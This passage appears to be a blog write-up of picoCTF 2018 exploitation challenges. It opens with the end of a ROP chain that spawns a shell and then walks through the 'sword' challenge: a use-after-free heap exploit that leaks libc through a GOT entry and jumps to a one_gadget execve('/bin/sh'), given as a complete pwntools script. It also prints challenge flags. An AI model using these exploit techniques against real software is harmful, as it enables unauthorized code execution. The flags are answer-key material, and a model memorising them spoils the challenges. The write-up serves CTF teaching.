p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

sh.sendline(p)

sh.interactive()

flag: picoCTF{rOp_yOuR_wAY_tO_AnTHinG_11555ee1}

sword

Problem

Can you spawn a shell and get the flag? Connect with nc 2018shell2.picoctf.com 32987. Source. libc.so.6

Solution

Because this problem provides a libc library, our first step is to configure the binary so that it uses that specific library.

We will first download the ld binary that goes along with the libc library by connecting to the shell server:

❯ scp alanc@2018shell2.picoctf.com:/lib64/ld-linux-x86-64.so.2 .

Then we can use this handy tool to modify our binary:

./change_glibc ./sword ./libc.so.6 ./ld-linux-x86-64.so.2 ./test

Now, we have a new binary that uses the libc library provided, and we are ready to go.

First for our easy scripting later on, I will first define a few helper methods that deal with the different interactions:

from pwn import *

context.log_level = 'debug'

sh = remote('2018shell2.picoctf.com', 32987)
# sh = process('./test')

def forgeSword():
  sh.sendlineafter('Quit.\n', '1')

def hardenSword(i, s):
  sh.sendlineafter('Quit.\n', '5')
  sh.sendlineafter('?\n', str(i))
  sh.sendlineafter('?\n', '32')
  sh.sendlineafter('.\n', s)
  sh.sendlineafter('?\n', '-1')

def destroySword(i):
  sh.sendlineafter('Quit.\n', '4')
  sh.sendlineafter('?\n', str(i))

def useSword(i):
  sh.sendlineafter('Quit.\n', '6')
  sh.sendlineafter('?\n', str(i))

def mergeSword(i1, i2):
  sh.sendlineafter('Quit.\n', '2')
  sh.sendlineafter('?\n', str(i1))
  sh.sendlineafter('?\n', str(i2))

Now, we can start thinking about our exploit plan. Basically, the exploit consist of two stages.

Stage one, we need to leak the libc base address that is different each time due to aslr. The way we are going to do this is by printing out one of the GOT entries that contains a libc address. The reason that we are leaking the GOT entry is because the location of the GOT is always the same even when aslr is enabled.

By reading the source code of the program, we know that the malloc is being used instead of calloc and we can alocate either a sword_s object or a char array onto the heap. For the char array, we have full control over the content of the heap chunk (although there have to be a null byte at the end). Because of these two conditions, we can forge our own sword_s object on the heap. If we set sword_name to point to a GOT entry and leave use_sword pointing to hoo, we will be able to leak out the libc address. Here is how this stage looks like in code:

read_GOT = 0x602040
read_offset = 0x004007b0

forgeSword()
hardenSword(0, 'a'*32)
destroySword(0)

forgeSword()
hardenSword(0, ('a'*8)+p64(read_GOT)[:-1])
destroySword(0)

forgeSword()
forgeSword()
useSword(0)

libc_base = u64(sh.recvuntil('.....')[12:-5].ljust(8, '\x00')) - read_offset + 3183968

Now with the libc base address in hand, we can move on to stage two which is to find somewhere to jump to that will give us a shell. We can use the tool one_gadget do just that:

$ one_gadget libc.so.6
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

As you can see, we now have four addresses to choose from. But how can we call this address? Well, we can do something similar to stage one, but overwrite the use_sword pointer instead. Then, when we call equip_sword, the program will jump to the intended offset giving us the shell. Here is what this looks like in code:

one_gadget = 0xf1147

target = libc_base+one_gadget

print hex(libc_base)
print hex(target)

forgeSword()
hardenSword(2, 'a'*16+p64(target))
destroySword(2)

forgeSword()
forgeSword()

useSword(2)

sh.interactive()

Putting the two parts together, we now have a functional exploit that will give us a shell:

from pwn import *

context.log_level = 'debug'

sh = remote('2018shell2.picoctf.com', 32987)
# sh = process('./test')

read_GOT = 0x602040
read_offset = 0x004007b0
one_gadget = 0xf1147

def forgeSword():
  sh.sendlineafter('Quit.\n', '1')

def hardenSword(i, s):
  sh.sendlineafter('Quit.\n', '5')
  sh.sendlineafter('?\n', str(i))
  sh.sendlineafter('?\n', '32')
  sh.sendlineafter('.\n', s)
  sh.sendlineafter('?\n', '-1')

def destroySword(i):
  sh.sendlineafter('Quit.\n', '4')
  sh.sendlineafter('?\n', str(i))

def useSword(i):
  sh.sendlineafter('Quit.\n', '6')
  sh.sendlineafter('?\n', str(i))

def mergeSword(i1, i2):
  sh.sendlineafter('Quit.\n', '2')
  sh.sendlineafter('?\n', str(i1))
  sh.sendlineafter('?\n', str(i2))

pause()

forgeSword()
hardenSword(0, 'a'*32)
destroySword(0)

forgeSword()
hardenSword(0, ('a'*8)+p64(read_GOT)[:-1])
destroySword(0)

forgeSword()
forgeSword()
useSword(0)

libc_base = u64(sh.recvuntil('.....')[12:-5].ljust(8, '\x00')) - read_offset + 3183968
target = libc_base+one_gadget

print hex(libc_base)
print hex(target)

forgeSword()
hardenSword(2, 'a'*16+p64(target))
destroySword(2)

forgeSword()
forgeSword()

useSword(2)

sh.interactive()

note that the exploit is not 100% reliable, and you might have to try a few times before it will work

flag: picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_2e515e86}

Feel free to leave a comment if any of the challenges is not well explained.

tweet Share